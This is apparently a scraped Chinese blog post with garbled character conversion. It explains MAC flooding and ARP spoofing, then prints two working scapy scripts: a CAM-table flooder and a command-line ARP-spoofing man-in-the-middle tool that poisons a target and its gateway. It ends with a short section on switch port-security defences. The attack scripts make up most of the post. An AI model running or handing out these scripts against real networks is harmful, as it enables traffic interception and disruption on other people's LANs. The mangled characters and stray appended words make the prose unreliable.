mac泛洪攻擊&arp欺騙(python腳本)

mac地址泛洪攻擊

原理:傳統的交換機在數據轉發過程當中依靠對CAM表的查詢來肯定正確的轉發接口,一旦在查詢過程當中沒法找到相關的目的MAC對應的條目,此數據幀將做爲廣播幀來處理,CAM表的容量有限,只能存儲很少的條目,當CAM表記錄的MAC地址達到上限時,新的條目將不會添加到CAM表中。python

  基於以上原理,某臺PC不斷髮送去往未知目的地地數據幀,且每一個包地源MAC地址都不一樣,當這樣地數據包發送地速度足夠快以後,快到在刷新時間內將交換機地CAM表迅速填滿。CAM表被這些僞造的MAC地址佔據,真實的MAC地址條目卻沒法進入CAM表。那麼任何一個通過交換機的正常單播數據幀都會以廣播幀的形式來處理。交換機在此狀況下被降級爲Hub。交換機降級爲hub以後,咱們就能夠監聽全部鏈接到該交換機的主機的數據了。linux

此攻擊可經過kali上一個工具實現:macof,直接在命令行中輸入這個命令就能夠了網絡

#mac泛洪攻擊腳本
from scapy.all import *
import time

iface = 'eth0'    
try:
    while 1:
        randmac = str(RandMAC())
        randip = str(RandIP())
        packet = Ether(src=randmac,dst=randmac)/IP(src=randip,dst=randip)
        sendp(packet,iface=iface,loop=0)
        
except KeyboardInterrupt:
    print('/n[+]Stop')

arp sproof(arp欺騙)

原理:經過欺騙局域網內訪問者PC的網關MAC地址,使訪問者PC錯覺得攻擊者更改後的MAC地址是網關的MAC,致使網絡不通函數

kali下自帶的arpspoof工具 arpspoof -i interface -t ip gateway
注意直接在kali中對物理機使用不通,須要關閉物理機防火牆,且須要是橋接模式工具

利用工具ettercap可實現(kali自帶的中間人攻擊工具,還支持其它的攻擊)
可參考這篇文章 http://topspeedsnail.com/kali-linux-ettercap-arp-spoof-attack/oop

#--*--coding=utf-8--*--

from scapy.all import *
import optparse
import threading

#解決在linux系統上運行時報的unicode編碼相關錯誤
import sys
reload(sys)
sys.setdefaultencoding('utf-8')


def getMac(tgtIP):
    '''
    調用scapy的getmacbyip函數,獲取攻擊目標IP的MAC地址。
    '''
    try:
        tgtMac = getmacbyip(tgtIP)
        return tgtMac
    except:
        print '[-]請檢查目標IP是否存活' 

def createArp2Station(srcMac,tgtMac,gatewayIP,tgtIP):
    '''
    生成ARP數據包,僞造網關欺騙目標計算機
    srcMac:本機的MAC地址,充當中間人
    tgtMac:目標計算機的MAC
    gatewayIP:網關的IP,將發往網關的數據指向本機(中間人),造成ARP攻擊
    tgtIP:目標計算機的IP
    op=2,表示ARP響應
    '''
    pkt = Ether(src=srcMac,dst=tgtMac)/ARP(hwsrc=srcMac,psrc=gatewayIP,hwdst=tgtMac,pdst=tgtIP,op=2)
    return pkt

def createArp2Gateway(srcMac,gatewayMac,tgtIP,gatewayIP):
    '''
    生成ARP數據包,僞造目標計算機欺騙網關
    srcMac:本機的MAC地址,充當中間人
    gatewayMac:網關的MAC
    tgtIP:目標計算機的IP,將網關發往目標計算機的數據指向本機(中間人),造成ARP攻擊
    gatewayIP:網關的IP
    op=2,表示ARP響應
    '''
    pkt = Ether(src=srcMac,dst=gatewayMac)/ARP(hwsrc=srcMac,psrc=tgtIP,hwdst=gatewayMac,pdst=gatewayIP,op=2)
    return pkt


def main():
    usage = 'Usage: %prog -t <targetip> -g <gatewayip> -i <interface> -a'
    parser = optparse.OptionParser(usage,version='v1.0')
    parser.add_option('-t',dest='targetIP',type='string',help='指定目標計算機IP')
    parser.add_option('-g',dest='gatewayIP',type='string',help='指定網關IP')
    parser.add_option('-i',dest='interface',type='string',help='指定使用的網卡')
    parser.add_option('-a',dest='allarp',action='store_true',help='是否進行全網arp欺騙')
    
    options,args = parser.parse_args()
    tgtIP = options.targetIP
    gatewayIP = options.gatewayIP
    interface = options.interface
  
    if tgtIP == None or gatewayIP == None or interface == None:
        print parser.print_help()
        exit(0)
    
    srcMac = get_if_hwaddr(interface)
    print '本機MAC地址是:',srcMac
    tgtMac = getMac(tgtIP)
    print '目標計算機MAC地址是:',tgtMac
    gatewayMac = getMac(gatewayIP)
    print '網關MAC地址是:',gatewayMac
    raw_input('按任意鍵繼續:')


    pktstation = createArp2Station(srcMac,tgtMac,gatewayIP,tgtIP)
    pktgateway = createArp2Gateway(srcMac,gatewayMac,tgtIP,gatewayIP)

   
    i = 1
    while True:
        t = threading.Thread(target=sendp,args=(pktstation,),kwargs={'iface':interface})
        t.start()
        t.join()
        print str(i) + ' [*]發送一個計算機ARP欺騙包'
       
        s = threading.Thread(target=sendp,args=(pktgateway,),kwargs={'iface':interface,})
        s.start()
        s.join()
        print str(i) + ' [*]發送一個網關ARP欺騙包'
        i += 1       
        
            

if __name__ == '__main__':
    main()
防護

將交換機開啓Port Security功能,其有以下做用,b功能能夠防護arp sproofui

a.MAC Flood 當特定接口設定的MAC table滿的時候產生violation
b.當一個MAC地址在同一個VLAN裏邊的兩個不一樣接口學到的時候產生violation編碼

  1. Port Security的默認行爲
    a.全部的接口Port Security功能是disable的
    b.默認每個接口最大MAC地址容量爲一個
    c.默認violation是shutdown
  2. 三種violation方式
    a.shutdown 使接口處於errordisable狀態,而且告警
    b.restrict 丟掉違規數據包,而且告警
    C.protect 悄無聲息的丟棄數據包,不產生告警

配置:命令行

1.[Quidway-Ethernet0/0/1]port-security enable
2.[Quidway-Ethernet0/0/1] port-security mac-address sticky
3.[Quidway-Ethernet0/0/1] port-security protect-action protect
4.[Quidway-Ethernet0/0/1] port-security max-mac-num 20rest

相關文章
相關標籤/搜索